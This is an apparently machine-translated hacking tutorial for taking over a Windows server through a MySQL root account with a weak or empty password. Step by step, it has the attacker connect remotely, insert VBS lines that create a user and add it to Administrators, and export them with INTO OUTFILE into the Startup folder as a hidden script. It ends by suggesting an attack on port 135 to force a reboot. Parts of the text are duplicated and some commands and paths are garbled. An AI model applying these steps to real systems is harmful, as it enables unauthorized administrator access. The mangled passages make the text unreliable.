Another attack method is that the root password of a MYSQL User is weak.

It is not only troublesome to write an ASP or PHP backdoor, but also to guess the website directory. if the other party does not open IIS, then we can't help it ?? Later, I thought about a method that was successful on several servers I tested with this vulnerability. my attack methods are published as follows: 1, connect to the other side of the MYSQL server mysql-uroot-h192 is to write an ASP or PHP backdoor, not only very troublesome, but also guess the Directory of the site, if the other side does not open IIS, why can't we do it ??
Later, I thought about a method that was successful on several servers I tested with this vulnerability. my attack methods are published as follows:
　　
　　 1. connect to the MYSQL server of the other party
Mysql-u root-h 192.168.0.1
Mysql.exe this program is in the BIN directory where you have installed MYSQL
　　
　　 2. let's take a look at some databases on the server.
Mysql> show databases;
By default, MYSQL and TEST databases are installed. if you see other databases, they are user-created databases.
　　
　　 3. let's enter the database
Mysql> use test;
We will enter the test database.
　　
　　 4. check the data tables in the database.
Mysql> show tables;
By default, no table exists in test.
The following are key parts:
　　
　　 5. create a new table under the TEST database;
Mysql> create table a (cmd text );
Now, we have created a new table named a, which stores only one field, the field name is cmd, and the text is text.
　　
　　 6. insert content into the table
Mysql> insert into a values ("set wshshell = createobject (" "wscript. shell "")");
Mysql> insert into a values ("a = wshshell. run (" "cmd.exe/c net user 1/add" ", 0 )");
Mysql> insert into a values ("B = wshshell. run (" "cmd.exe/c net localgroup Administrators 1/add" ", 0 )");
Note that double quotation marks, parentheses, and "0" must be entered! We will use these three commands to create a VBS script program!
　　
　　 7. now let's look at what Table a has.
Mysql> select * from;
We will see three rows of data in the table, that is, the content we just entered. after confirming that the content you entered is correct, we will proceed to the next step.
　　
　　 8. the output table is a VBS script file.
Mysql> select * from a into outfile "c: \ release e ~ 1 \ alluse ~ 1 \ Start menu \ program \ start \ a. vbs ";
We input the content in our table to the startup group, which is a VBS script file! Note the "\" symbol.
9. you will surely know that you can use MYSQL to output an executable file. Why not use BAT, because there will be an obvious DOS window at startup, and the VBS script can completely hide the window without any error prompt! The script should have been deleted automatically after the script is completed, but the Chinese Directory cannot be processed! Okay. find a tool attack 135 and restart the server. in a few minutes, you will be the administrator.